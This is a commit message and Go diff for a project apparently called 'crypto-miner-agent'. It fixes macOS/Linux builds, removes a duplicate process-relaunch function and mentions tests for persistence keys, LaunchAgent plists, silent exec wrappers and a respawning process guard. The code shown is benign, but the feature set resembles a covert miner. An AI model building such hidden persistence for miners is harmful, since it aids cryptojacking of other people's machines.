fix(mac): resolve duplicate symbols blocking darwin/linux builds + add Mac tests. Remove duplicate launchProcessGuard from guard_unix.go (kept richer health_unix.go shell-loop version using pgrep -f). Remove duplicate applyDetachedStart from exec_stub.go (kept platform_unix.go impl that clears stdio). Add silent_stub.go for !windows so silentCombinedOutput/silentOutput/silentRun compile on Mac. All 4 targets now build: darwin/arm64, darwin/amd64, linux/amd64, linux/arm64. New tests: workerProcessRunning, applyDetachedStart stdio clearing, PersistenceKeyName, HostOSVersion, LaunchAgent plist content, silent stub exec wrappers.

agent/deploy/guard_unix.go

@@ -5,20 +5,9 @@ package deploy
 import (
 	"os/exec"
 	"strings"
-
-	"crypto-miner-agent/config"
 )
 
 func workerProcessRunning(imageName string) bool {
 	out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
 	return err == nil && len(strings.TrimSpace(string(out))) > 0
 }
-
-func launchProcessGuard(cfg config.RuntimeConfig) {
-	binPath, err := InstalledBinaryPath(cfg)
-	if err != nil {
-		return
-	}
-	cmd := exec.Command(binPath, guardFlag)
-	_ = cmd.Start()
-}